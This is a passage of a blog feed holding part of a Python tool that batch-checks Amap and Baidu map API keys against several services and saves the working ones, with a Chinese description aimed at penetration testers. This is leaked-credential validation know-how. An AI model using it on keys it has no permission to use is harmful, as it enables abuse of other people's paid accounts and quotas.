                        error_msg += f&quot;. API Msg: {json.dumps(error_data, ensure_ascii=False)}&quot;
                    except (json.JSONDecodeError, requests.exceptions.RequestException):
                        error_msg += f&quot;. Response: {response.text[:200]}...&quot;
                    detail[&apos;error&apos;] = error_msg
                    raise requests.HTTPError(error_msg, response=response)

                data = None
                try:
                    if &apos;application/json&apos; in content_type or &apos;text/javascript&apos; in content_type:
                         data = response.json()
                    elif platform == &apos;amap&apos; and service_name == &quot;IP定位&quot; and &apos;text/html&apos; in content_type and response.text.startswith(&apos;{&apos;) and response.text.endswith(&apos;}&apos;):
                         data = json.loads(response.text)
                    else:
                         raise ValueError(f&quot;非预期响应类型: {content_type}&quot;)

                    detail[&apos;response&apos;] = data

                    success = False
                    error_info = &quot;&quot;
                    if platform == &apos;amap&apos;:
                        success = str(data.get(&apos;status&apos;)) == &apos;1&apos;
                        if not success: error_info = data.get(&apos;info&apos;, &apos;未知高德错误&apos;) + f&quot; (infocode: {data.get(&apos;infocode&apos;, &apos;&apos;)})&quot;
                    elif platform == &apos;baidu&apos;:
                        success = data.get(&apos;status&apos;) == 0
                        if not success: error_info = data.get(&apos;message&apos;, &apos;未知百度错误&apos;) + f&quot; (status: {data.get(&apos;status&apos;, &apos;&apos;)})&quot;
                    else: error_info = &quot;未知平台错误&quot;

                    detail[&apos;error_info&apos;] = error_info if not success else None
                    return success, detail

                except json.JSONDecodeError as e:
                    detail[&apos;error&apos;] = f&quot;JSON解析失败 ({content_type}): {str(e)} | 响应: {response.text[:200]}...&quot;
                    return False, detail
                except ValueError as e:
                    detail[&apos;error&apos;] = f&quot;{str(e)} | 响应: {response.text[:200]}...&quot;
                    return False, detail

            except requests.exceptions.Timeout:
                detail[&apos;error&apos;] = &quot;请求超时&quot;
                if attempt == retries - 1: return False, detail
                time.sleep(1 + 1.5 * attempt)
            except requests.exceptions.RequestException as e:
                detail[&apos;error&apos;] = f&quot;请求错误: {type(e).__name__}&quot; + (f&quot; (Status: {response.status_code})&quot; if response else &quot;&quot;)
                if attempt == retries - 1: return False, detail
                time.sleep(1 + 1.5 * attempt)
            except Exception as e:
                 detail[&apos;error&apos;] = f&quot;未知处理错误: {type(e).__name__}: {str(e)}&quot;
                 print(f&quot;{EMOJI_ERROR} {colored(&apos;内部脚本错误&apos;, &apos;red&apos;)}: {traceback.format_exc()[:500]}...&quot;)
                 return False, detail
            finally:
                if response:
                    response.close()

        detail[&apos;error&apos;] = f&quot;超过最大重试次数 ({retries}). 最后错误: {detail[&apos;error&apos;]}&quot;
        return False, detail

    def test_service(self, platform: str, service_name: str, key: str, service_config: dict) -&gt; Tuple[bool, dict]:
        &quot;&quot;&quot;Tests a single service with its config.&quot;&quot;&quot;
        params = service_config[&apos;params&apos;].copy()
        params[&apos;key&apos; if platform == &apos;amap&apos; else &apos;ak&apos;] = key
        is_static = service_config.get(&apos;is_static&apos;, False)
        return self._call_api(service_config[&apos;url&apos;], params, platform, service_name, is_static)


class ReportGenerator:
    &quot;&quot;&quot;Generates console output for test results.&quot;&quot;&quot;
    @staticmethod
    def print_result(service: str, platform: str, success: bool, detail: dict):
        status_icon = EMOJI_SUCCESS if success else EMOJI_FAIL
        status_color = &apos;green&apos; if success else &apos;red&apos;
        service_status = colored(&quot;成功&quot; if success else &quot;失败&quot;, status_color)

        print(f&quot;{EMOJI_SERVICE} {service.ljust(7)} {status_icon} {service_status}&quot;)

        indent = &quot;  │&quot;

        latency = detail.get(&apos;latency&apos;)
        latency_str = f&quot;{latency:.2f} ms&quot; if latency is not None else &quot;N/A&quot;
        print(f&quot;{indent} {EMOJI_CLOCK} 耗时: {latency_str}&quot;)

        params_str = &quot; | &quot;.join([f&quot;{k}={v:.4f}&quot; if isinstance(v, float) else f&quot;{k}={str(v)[:30]}{&apos;...&apos; if len(str(v))&gt;30 else &apos;&apos;}&quot;
                                 for k, v in detail.get(&apos;params&apos;, {}).items() if k not in [&apos;key&apos;, &apos;ak&apos;]])
        if params_str:
             print(f&quot;{indent} {EMOJI_INFO} 参数: {colored(params_str, &apos;cyan&apos;)}&quot;)

        if success:
            success_info_str = ReportGenerator._extract_success_info(service, platform, detail.get(&apos;response&apos;))
            if success_info_str:
                print(f&quot;{indent} {EMOJI_INFO} 结果: {colored(success_info_str, &apos;green&apos;)}&quot;)

        error_msg = detail.get(&apos;error&apos;)
        error_info = detail.get(&apos;error_info&apos;)

        if error_info:
            print(f&quot;{indent} {EMOJI_WARNING} 原因: {colored(error_info, &apos;yellow&apos;)}&quot;)
            ReportGenerator._print_error_analysis(error_info)
        elif error_msg:
            print(f&quot;{indent} {EMOJI_ERROR} 原因: {colored(error_msg, &apos;red&apos;)}&quot;)
            ReportGenerator._print_error_analysis(error_msg)
        elif not success:
            print(f&quot;{indent} {EMOJI_ERROR} 原因: {colored(&apos;未知原因失败&apos;, &apos;red&apos;)}&quot;)
        print( &quot;  └&quot; + &quot;─&quot; * 30)


    @staticmethod
    def _extract_success_info(service: str, platform: str, response_data: Optional[Any]) -&gt; str:
        &quot;&quot;&quot;Extracts a brief summary from successful API response data.&quot;&quot;&quot;
        if response_data is None: return &quot;&quot;
        try:
            if isinstance(response_data, dict) and response_data.get(&apos;content_type&apos;, &apos;&apos;).startswith(&apos;image/&apos;):
                return f&quot;成功获取图片 ({response_data[&apos;content_type&apos;]})&quot;
            elif isinstance(response_data, dict):
                if service == &quot;IP定位&quot;:
                    city = &quot;未知&quot;
                    if platform == &apos;amap&apos;: city = response_data.get(&apos;city&apos;) if isinstance(response_data.get(&apos;city&apos;), str) and response_data.get(&apos;city&apos;) else response_data.get(&apos;adcode&apos;, &apos;N/A&apos;)
                    elif platform == &apos;baidu&apos;: city = response_data.get(&apos;content&apos;, {}).get(&apos;address_detail&apos;, {}).get(&apos;city&apos;, &apos;N/A&apos;)
                    return f&quot;定位城市: {city}&quot; if city and city != &apos;N/A&apos; else &quot;定位成功 (无城市信息)&quot;
                elif service == &quot;地理编码&quot;:
                    loc = &quot;未知&quot;
                    if platform == &apos;amap&apos;: loc = response_data.get(&apos;geocodes&apos;, [{}])[0].get(&apos;location&apos;, &apos;N/A&apos;)
                    elif platform == &apos;baidu&apos;: loc_dict = response_data.get(&apos;result&apos;, {}).get(&apos;location&apos;, {}); loc = f&quot;{loc_dict.get(&apos;lat&apos;, &apos;N/A&apos;)},{loc_dict.get(&apos;lng&apos;, &apos;N/A&apos;)}&quot; if loc_dict else &apos;N/A&apos;
                    return f&quot;获取坐标: {loc}&quot;
                elif service == &quot;逆地理编码&quot;:
                    addr = &quot;未知&quot;
                    if platform == &apos;amap&apos;: addr = response_data.get(&apos;regeocode&apos;, {}).get(&apos;formatted_address&apos;, &apos;N/A&apos;)
                    elif platform == &apos;baidu&apos;: addr = response_data.get(&apos;result&apos;, {}).get(&apos;formatted_address&apos;, &apos;N/A&apos;)
                    return f&quot;获取地址: {addr[:40]}{&apos;...&apos; if len(addr)&gt;40 else &apos;&apos;}&quot;
                elif service == &quot;路径规划&quot;:
                    dist, dur = &quot;N/A&quot;, &quot;N/A&quot;
                    try:
                        if platform == &apos;amap&apos;: path = response_data.get(&apos;route&apos;, {}).get(&apos;paths&apos;, [{}])[0]; dist, dur = path.get(&apos;distance&apos;), path.get(&apos;duration&apos;)
                        elif platform == &apos;baidu&apos;: route = response_data.get(&apos;result&apos;, {}).get(&apos;routes&apos;, [{}])[0]; dist, dur = route.get(&apos;distance&apos;), route.get(&apos;duration&apos;)
                        return f&quot;距离: {dist}米, 时间: {dur}秒&quot;
                    except (IndexError, KeyError, TypeError): return &quot;路径规划成功&quot;
                else: return &quot;调用成功&quot;
            return &quot;&quot;
        except Exception as e:
            return colored(f&quot;结果解析出错: {e}&quot;, &apos;magenta&apos;)

    @staticmethod
    def _print_error_analysis(error_text: str):
        &quot;&quot;&quot;Prints specific warning icons based on error text keywords.&quot;&quot;&quot;
        indent = &quot;  │  &quot;
        error_lower = error_text.lower()
        analysis_printed = False
        if &apos;quota&apos; in error_lower or &apos;配额&apos; in error_lower or &apos;并发&apos; in error_lower or &apos;qps&apos; in error_lower or &apos;limit&apos; in error_lower:
            print(f&quot;{indent}{EMOJI_QUOTA} {colored(&apos;[疑似配额/并发限制]&apos;, &apos;yellow&apos;)}&quot;)
            analysis_printed = True
        if &apos;invalid user key&apos; in error_lower or &apos;key不正确&apos; in error_lower or &apos;ak不存在&apos; in error_lower or &apos;权限校验失败&apos; in error_lower or &apos;permission denied&apos; in error_lower or &apos;key status&apos; in error_lower or &apos;无效&apos; in error_lower :
            print(f&quot;{indent}{EMOJI_PERM} {colored(&apos;[密钥无效或服务未开通/权限不足]&apos;, &apos;red&apos;)}&quot;)
            analysis_printed = True
        if &apos;domain&apos; in error_lower or &apos;ip白名单&apos; in error_lower or &apos;referer&apos; in error_lower or &apos;sn校验失败&apos; in error_lower:
             print(f&quot;{indent}{EMOJI_PERM} {colored(&apos;[IP/域名/Referer/SN白名单校验失败]&apos;, &apos;magenta&apos;)}&quot;)
             analysis_printed = True
        if &apos;timeout&apos; in error_lower or &apos;超时&apos; in error_lower:
            print(f&quot;{indent}{EMOJI_NETWORK} {colored(&apos;[请求超时]&apos;, &apos;blue&apos;)}&quot;)
            analysis_printed = True
        if &apos;json解析失败&apos; in error_lower or &apos;非预期响应类型&apos; in error_lower:
            print(f&quot;{indent}{EMOJI_NETWORK} {colored(&apos;[响应格式错误或非预期]&apos;, &apos;magenta&apos;)}&quot;)
            analysis_printed = True
        if &apos;请求错误&apos; in error_text or &apos;http&apos; in error_lower or &apos;connection&apos; in error_lower or &apos;ssl&apos; in error_lower:
            print(f&quot;{indent}{EMOJI_NETWORK} {colored(&apos;[网络/连接/HTTP错误]&apos;, &apos;blue&apos;)}&quot;)
            analysis_printed = True


# --- Main Execution ---

def parse_args():
    &quot;&quot;&quot;Parses command line arguments.&quot;&quot;&quot;
    parser = argparse.ArgumentParser(
        description=f&quot;{EMOJI_TOOL} 地图API密钥全自动检测工具 (v3.6)&quot;, # Version bump for banner
        formatter_class=argparse.RawTextHelpFormatter
        )
    parser.add_argument(&apos;-k&apos;, &apos;--keys&apos;, nargs=&apos;+&apos;, help=&quot;直接在命令行指定一个或多个密钥&quot;)
    parser.add_argument(&apos;-f&apos;, &apos;--file&apos;, help=&quot;包含密钥的文件路径 (每行一个密钥)&quot;)
    parser.add_argument(&apos;-t&apos;, &apos;--threads&apos;, type=int, default=5, help=&quot;并发测试线程数 (默认: 5)&quot;)
    parser.add_argument(&apos;-o&apos;, &apos;--output&apos;, help=&quot;将成功的检测结果输出到指定的JSON文件&quot;)
    parser.add_argument(&apos;--skip-static&apos;, action=&apos;store_true&apos;, help=&quot;跳过静态地图服务的检测&quot;)

    temp_args, _ = parser.parse_known_args()
    if not temp_args.keys and not temp_args.file:
         # Print banner before showing help on error
         print(colored(BANNER, &apos;cyan&apos;))
         parser.print_help()
         print(colored(&quot;\n错误: 必须通过 -k 或 -f 提供至少一个密钥。&quot;, &quot;red&quot;))
         exit(1)

    return parser.parse_args()

def main(keys_to_test: List[str], num_threads: int, output_file: Optional[str], skip_static: bool):
    &quot;&quot;&quot;Main detection workflow.&quot;&quot;&quot;
    tester = APITester()
    futures_map = {}
    results_for_output = []

    print(f&quot;{EMOJI_DETECT} 开始检测 {len(keys_to_test)} 个密钥，使用 {num_threads} 个线程...&quot;)
    if skip_static: print(f&quot;{EMOJI_INFO} 已设置跳过静态地图检测。&quot;)

    with ThreadPoolExecutor(max_workers=num_threads) as executor:
        for key in keys_to_test:
            key = key.strip()
            if not key: continue

            platform, key_format_desc = KeyValidator.detect_platform(key)
            masked_key = f&quot;{key[:6]}...{key[-4:]}&quot; if len(key) &gt; 10 else key

            if platform == &apos;unknown&apos;:
                print(colored(f&quot;\n{EMOJI_FAIL} 无效密钥格式: {key}&quot;, &quot;red&quot;))
                continue
            if platform == &apos;ambiguous&apos;:
                 print(colored(f&quot;\n{EMOJI_WARNING} 检测到模糊密钥: {masked_key}&quot;, &quot;yellow&quot;))
                 print(colored(f&quot;  格式 ({key_format_desc}) 可能属于高德或百度，将尝试两者。&quot;, &quot;yellow&quot;))
                 platforms_to_try = [&apos;amap&apos;, &apos;baidu&apos;]
            else:
                 platforms_to_try = [platform]

            for p in platforms_to_try:
                print(colored(f&quot;\n{EMOJI_DETECT} 正在检测 {p.upper()} 服务 - 密钥: {masked_key}&quot;, &quot;blue&quot;, attrs=[&apos;bold&apos;]))
                print(f&quot;  {EMOJI_PLATFORM} 平台识别: {p.upper()}&quot;)
                print(f&quot;  {EMOJI_KEY_FORMAT} Key格式: {key_format_desc}&quot;)

                platform_services = tester._generate_service_configs(p)

                for service_name, service_config in platform_services.items():
                    if skip_static and service_config.get(&apos;is_static&apos;, False):
                        continue

                    future = executor.submit(tester.test_service, p, service_name, key, service_config)
                    futures_map[future] = {&apos;key&apos;: key, &apos;platform&apos;: p, &apos;service_name&apos;: service_name}

        print(colored(&quot;\n--- 检测结果 ---&quot;, attrs=[&apos;bold&apos;]))
        processed_count = 0
        total_tasks = len(futures_map)

        for future in as_completed(futures_map):
            processed_count += 1
            context = futures_map[future]
            key = context[&apos;key&apos;]
            platform = context[&apos;platform&apos;]
            service_name = context[&apos;service_name&apos;]
            masked_key = f&quot;{key[:6]}...{key[-4:]}&quot; if len(key) &gt; 10 else key

            try:
                success, detail = future.result()
                ReportGenerator.print_result(service_name, platform, success, detail)

                if success and output_file:
                    result_item = {
                        &apos;key&apos;: key,
                        &apos;platform&apos;: platform,
                        &apos;service_name&apos;: service_name,
                        &apos;request_params&apos;: detail.get(&apos;params&apos;),
                        &apos;response_summary&apos;: ReportGenerator._extract_success_info(service_name, platform, detail.get(&apos;response&apos;)),
                        &apos;latency_ms&apos;: detail.get(&apos;latency&apos;),
                    }
                    results_for_output.append(result_item)

            except Exception as exc:
                 print(colored(f&quot;{EMOJI_FAIL} {service_name.ljust(7)}&quot;, &apos;red&apos;))
                 print(f&quot;  └─ {colored(f&apos;执行 {service_name} (平台: {platform}, 密钥: {masked_key}) 时发生内部错误: {exc}&apos;, &apos;red&apos;)}&quot;)

    if output_file:
        print(colored(f&quot;\n{EMOJI_WRITE} 正在将 {len(results_for_output)} 条成功结果写入到: {output_file}&quot;, &quot;blue&quot;))
        try:
            with open(output_file, &apos;w&apos;, encoding=&apos;utf-8&apos;) as f:
                json.dump(results_for_output, f, ensure_ascii=False, indent=4)
            print(colored(f&quot;{EMOJI_SUCCESS} 成功写入 JSON 文件。&quot;, &quot;green&quot;))
        except IOError as e:
            print(colored(f&quot;{EMOJI_ERROR} 写入文件失败: {e}&quot;, &quot;red&quot;))
        except TypeError as e:
             print(colored(f&quot;{EMOJI_ERROR} 序列化结果为JSON时失败 (可能包含无法序列化的数据): {e}&quot;, &quot;red&quot;))


if __name__ == &quot;__main__&quot;:
    # --- Print Banner First ---
    print(colored(BANNER, &apos;cyan&apos;)) # Choose a color for the banner

    args = parse_args() # Parse arguments after printing banner
    keys = []

    if args.keys:
        keys.extend(args.keys)
    if args.file:
        try:
            with open(args.file, &apos;r&apos;, encoding=&apos;utf-8&apos;) as f:
                keys.extend([line.strip() for line in f if line.strip()])
        except FileNotFoundError:
             print(colored(f&quot;{EMOJI_ERROR} 错误：密钥文件 &apos;{args.file}&apos; 未找到。&quot;, &quot;red&quot;))
             exit(1)
        except Exception as e:
             print(colored(f&quot;{EMOJI_ERROR} 错误：读取密钥文件 &apos;{args.file}&apos; 时出错: {e}&quot;, &quot;red&quot;))
             exit(1)

    unique_keys = sorted(list(set(keys)))

    # Input validation is handled within parse_args now

    main(unique_keys, args.threads, args.output, args.skip_static)
    print(colored(f&quot;\n{EMOJI_TOOL} 检测完成。&quot;, attrs=[&apos;bold&apos;]))
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;strong&gt;地图API密钥全自动检测工具&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;简介&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;地图API密钥全自动检测工具&lt;/strong&gt; 是一款高效、全面的解决方案，旨在简化渗透测试过程中地图API密钥的管理和风险评估工作。 无论是渗透测试人员还是安全研究人员，在分析应用程序或系统对地图API的依赖时，常常面临密钥有效性验证、服务权限探测和潜在安全风险评估等多重挑战。  本工具通过自动化执行这些关键任务，极大地提升了水洞效率，并帮助识别与地图服务相关的潜在安全漏洞.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;主要功能&lt;/strong&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;密钥有效性验证：&lt;/strong&gt; 多接口，多服务调用自动验证地图API密钥的有效状态(高德/百度)，快速识别可能被滥用或已泄露的密钥。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;批量密钥测试：&lt;/strong&gt; 支持批量测试多个地图API密钥，提高渗透测试效率，快速评估大量密钥的风险。&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;strong&gt;技术特点&lt;/strong&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Python开发：&lt;/strong&gt; 采用Python语言开发，具有良好的跨平台性和可读性。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Requests库：&lt;/strong&gt; 使用Requests库发送HTTP请求，简化API调用过程。&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;strong&gt;快速开始&lt;/strong&gt;&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;运行脚本：&lt;/strong&gt;&lt;br&gt;
&lt;code&gt;python your_script_name.py -k your_amap_key&lt;/code&gt;&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;输出如下：&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://astro-pure.js.org/_image?href=%2F_astro%2Fimg-1744448148707-943452.CWBSHNAU.png&amp;#x26;w=1664&amp;#x26;h=939&amp;#x26;f=webp&quot; alt=&quot;&quot;&gt;&lt;/p&gt;</content:encoded><h:img src="undefined"/><enclosure url="undefined"/></item></channel></rss>